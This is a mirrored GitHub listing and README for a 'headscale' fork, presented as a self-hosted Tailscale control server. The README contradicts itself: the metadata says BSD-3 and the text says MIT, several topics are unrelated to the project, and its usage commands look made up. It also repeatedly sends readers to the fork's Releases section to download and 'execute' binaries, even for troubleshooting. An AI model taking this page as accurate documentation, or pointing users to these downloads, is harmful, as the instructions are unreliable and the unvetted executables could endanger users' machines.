https://github.com/lalu8989/headscale
An open source, self-hosted implementation of the Tailscale control server
https://github.com/lalu8989/headscale
ansible-playbook derp flask javascript jquery mirage prometheus python sdp tailscale-control-server terraform-provider vpn-service web-frontend web-ui
Last synced: 4 months ago
JSON representation
An open source, self-hosted implementation of the Tailscale control server
- Host: GitHub
- URL: https://github.com/lalu8989/headscale
- Owner: lalu8989
- License: bsd-3-clause
- Created: 2025-05-05T15:48:49.000Z (5 months ago)
- Default Branch: main
- Last Pushed: 2025-05-07T00:06:39.000Z (5 months ago)
- Last Synced: 2025-05-07T00:51:38.431Z (5 months ago)
- Topics: ansible-playbook, derp, flask, javascript, jquery, mirage, prometheus, python, sdp, tailscale-control-server, terraform-provider, vpn-service, web-frontend, web-ui
- Language: Go
- Size: 6.46 MB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Changelog: CHANGELOG.md
- Contributing: CONTRIBUTING.md
- License: LICENSE
- Code of conduct: CODE_OF_CONDUCT.md
Awesome Lists containing this project
README
# Headscale 🌐
## Overview
Welcome to **Headscale**, an open-source, self-hosted implementation of the Tailscale control server. This project allows you to run your own Tailscale control server, giving you complete control over your network and its security. With Headscale, you can leverage the powerful capabilities of Tailscale while maintaining privacy and independence.
### Why Headscale?
Tailscale is a popular VPN solution that simplifies secure connections between devices. However, many users prefer to self-host their control servers for better privacy and customization. Headscale provides that option, allowing you to enjoy the benefits of Tailscale without relying on external services.
## Features
- **Self-Hosted**: Run your own Tailscale control server.
- **Privacy**: Keep your data secure and private.
- **Control**: Customize your network settings as needed.
- **Compatibility**: Works seamlessly with Tailscale clients.
## Topics
This repository covers the following topics:
- Tailscale
- Tailscale Control Server
- Tailscale Server
- WireGuard
## Getting Started
To get started with Headscale, follow these steps:
1. **Clone the Repository**:
Clone the repository to your local machine using Git.
```bash
git clone https://github.com/lalu8989/headscale.git
```
2. **Install Dependencies**:
Navigate to the project directory and install the necessary dependencies.
```bash
cd headscale
go mod tidy
```
3. **Build the Project**:
Build the Headscale binary.
```bash
go build
```
4. **Run Headscale**:
Execute the Headscale binary.
```bash
./headscale
```
5. **Visit the Releases**:
For the latest binaries, visit the [Releases section](https://github.com/lalu8989/headscale/releases). Download the necessary files and execute them as needed.
## Usage
After setting up Headscale, you can start configuring your Tailscale network. Here are some basic commands to get you started:
- **Authenticate a Device**:
Use the following command to authenticate a new device.
```bash
headscale auth
```
- **List Devices**:
To view all connected devices, use:
```bash
headscale list
```
- **Update Configuration**:
Modify your configuration file to suit your network needs.
## Documentation
For detailed documentation, please refer to the [official documentation](https://github.com/lalu8989/headscale/wiki). It covers advanced configurations, troubleshooting, and more.
## Contributing
We welcome contributions to Headscale! If you'd like to help, please follow these steps:
1. Fork the repository.
2. Create a new branch for your feature or fix.
3. Make your changes and commit them.
4. Push your branch and create a pull request.
Please ensure that your code follows the project's coding standards and includes tests where applicable.
## License
Headscale is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.
## Community
Join our community to discuss features, report issues, or get help:
- **GitHub Discussions**: Engage with other users and developers.
- **Discord**: Join our chat for real-time support.
## Acknowledgments
Thanks to the Tailscale team for their amazing work on the original Tailscale project. Headscale builds on their foundation to provide a self-hosted alternative.
## Support
If you encounter issues or have questions, please check the [Releases section](https://github.com/lalu8989/headscale/releases) for troubleshooting tips and updates. You can also open an issue in the repository.
## Conclusion
Headscale offers a robust solution for those looking to self-host their Tailscale control server. With its easy setup and extensive features, you can take control of your network while enjoying the benefits of Tailscale.
For the latest updates and releases, be sure to visit the [Releases section](https://github.com/lalu8989/headscale/releases).
Happy networking! 🌍